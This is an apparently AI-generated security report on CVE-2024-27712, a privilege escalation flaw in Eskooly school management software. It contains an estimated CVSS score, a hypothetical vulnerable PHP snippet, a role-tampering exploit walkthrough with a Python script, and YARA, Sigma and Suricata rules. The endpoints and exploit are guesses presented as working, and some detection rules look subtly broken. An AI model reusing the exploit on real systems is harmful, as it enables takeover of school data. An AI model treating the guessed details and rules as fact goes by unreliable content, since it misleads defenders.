CVE-2024-27712

Executive Summary

CVE-2024-27712 is a privilege escalation vulnerability in Eskooly Free Online School Management Software version 3.0 and prior. The flaw resides in the User Account Management component, allowing a remote attacker to escalate their privileges within the application. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. However, the lack of a patch and the potential for lateral movement within a school's network make this a significant risk for organizations using this software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (remote, privilege escalation via authentication), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account to exploit the flaw.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Changed (C) - The attacker can gain access to resources beyond their original authorization.
• Confidentiality (C): High (H) - Full access to sensitive data (student records, grades, etc.).
• Integrity (I): High (H) - Ability to modify data.
• Availability (A): High (H) - Potential to disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Estimated Base Score: 9.9 (Critical)

Threat Level: Critical (due to remote exploitation, low complexity, and high impact on confidentiality, integrity, and availability).

Deep Dive & Mechanics

The vulnerability is located in the User Account Management component of Eskooly. This component is responsible for creating, modifying, and deleting user accounts. The flaw likely stems from improper authorization checks or insecure direct object references (IDOR) when handling user role assignments.

Attack Scenario:

1. An attacker registers or obtains a low-privileged user account (e.g., "Student" or "Teacher").
2. The attacker sends a crafted HTTP request to the User Account Management endpoint (e.g., /edit_user.php or /api/update_user).
3. The request includes parameters to modify their own account or another user's account, specifically changing the role or privilege_level field to "Admin" or "Super Admin".
4. The server fails to validate that the requesting user has the authority to change roles, thus processing the request.
5. The attacker's account is elevated to administrative privileges, granting full control over the application.

The lack of a patch suggests the vendor has not acknowledged or addressed the issue. This could be due to the software being abandoned or the vendor being unresponsive.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, a typical vulnerable code pattern in PHP (a common language for such software) would be:

Vulnerable Code (PHP):

<?php
// update_user.php
$user_id = $_POST['user_id'];
$new_role = $_POST['role'];

// No check if the current user is an admin
$sql = "UPDATE users SET role = '$new_role' WHERE id = $user_id";
mysqli_query($conn, $sql);
?>

Patched Code (Hypothetical):

<?php
// update_user.php
session_start();
$current_user_id = $_SESSION['user_id'];
$current_user_role = get_user_role($current_user_id); // Function to get role

// Check if the current user is an admin
if ($current_user_role !== 'Admin') {
    die("Unauthorized");
}

$user_id = $_POST['user_id'];
$new_role = $_POST['role'];

// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("UPDATE users SET role = ? WHERE id = ?");
$stmt->bind_param("si", $new_role, $user_id);
$stmt->execute();
?>

The patched version adds a server-side authorization check and uses prepared statements to prevent SQL injection, which could also be a vector.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Eskooly v3.0 on a local server (e.g., XAMPP, LAMP).
2. Register a low-privileged user account (e.g., "student1").
3. Log in as "student1" and capture the session cookie.

Exploitation Steps:

1. Intercept the request to the user profile update endpoint using a proxy like Burp Suite.
2. Modify the request parameters to include a role change. For example:
   • Original: user_id=5&name=John&email=john@test.com
   • Modified: user_id=5&name=John&email=john@test.com&role=Admin
3. Send the modified request.
4. Log out and log back in. The account should now have administrative privileges.

Automated Exploit (Python):

import requests

target_url = "http://localhost/eskooly/update_user.php"
session = requests.Session()

# Login as low-privileged user
login_data = {"username": "student1", "password": "password123"}
session.post("http://localhost/eskooly/login.php", data=login_data)

# Exploit: escalate privileges
exploit_data = {"user_id": "5", "role": "Admin"}
response = session.post(target_url, data=exploit_data)

if response.status_code == 200:
    print("Privilege escalation successful!")
else:
    print("Exploit failed.")

Blue Team (Detection & Response)

Detection:

• Monitor for unusual HTTP requests to user management endpoints (e.g., update_user.php, edit_user.php).
• Look for requests containing parameters like role=Admin or privilege_level=1 from non-admin IP addresses.
• Alert on multiple failed login attempts followed by a successful login and immediate role change.

Response:

1. Isolate the affected server from the network.
2. Review logs for the compromised account's activity.
3. Reset all user passwords and enforce multi-factor authentication (MFA).
4. Apply virtual patching via a Web Application Firewall (WAF) to block requests to user management endpoints from non-admin users.
5. Contact the vendor for an official patch or consider migrating to a supported alternative.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /update_user.php or /edit_user.php with a role parameter.
• Unusual user agent strings (e.g., python-requests/2.28.1).
• Source IP addresses not in the organization's allowed list.

Host IOCs:

• New user accounts with administrative privileges created outside of normal business hours.
• Changes to the users table in the database (e.g., role field changed to Admin).
• Log entries showing privilege escalation events (if logging is enabled).

File IOCs:

• Modified PHP files in the Eskooly installation directory (e.g., update_user.php).
• Suspicious files uploaded to the server (e.g., web shells).

Detection Engineering

YARA Rule

rule Detect_Eskooly_PrivEsc_Exploit {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2024-27712"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-27712"
    strings:
        $s1 = "role=Admin" ascii wide nocase
        $s2 = "privilege_level=1" ascii wide nocase
        $s3 = "update_user.php" ascii wide nocase
        $s4 = "edit_user.php" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Eskooly Privilege Escalation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-27712 in Eskooly Free Online School Management Software
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'update_user.php'
            - 'edit_user.php'
        cs-uri-query|contains:
            - 'role=Admin'
            - 'privilege_level=1'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27712 Eskooly Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"update_user.php";
    http_uri;
    content:"role=Admin";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable User Account Management: If possible, temporarily disable the User Account Management component or restrict access to it via IP whitelisting.
2. Apply Virtual Patching: Use a WAF to block requests to user management endpoints that contain role escalation parameters.
3. Review User Accounts: Audit all user accounts and remove any unauthorized administrative privileges.

Long-Term Solutions:

1. Contact Vendor: Reach out to Eskooly for an official patch. If unresponsive, consider the software abandoned.
2. Migrate to Alternative: Evaluate and migrate to a supported school management system (e.g., Moodle, PowerSchool).
3. Code Audit: If you have access to the source code, perform a security audit to identify and fix the authorization flaw.
4. Implement MFA: Enforce multi-factor authentication for all administrative accounts.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.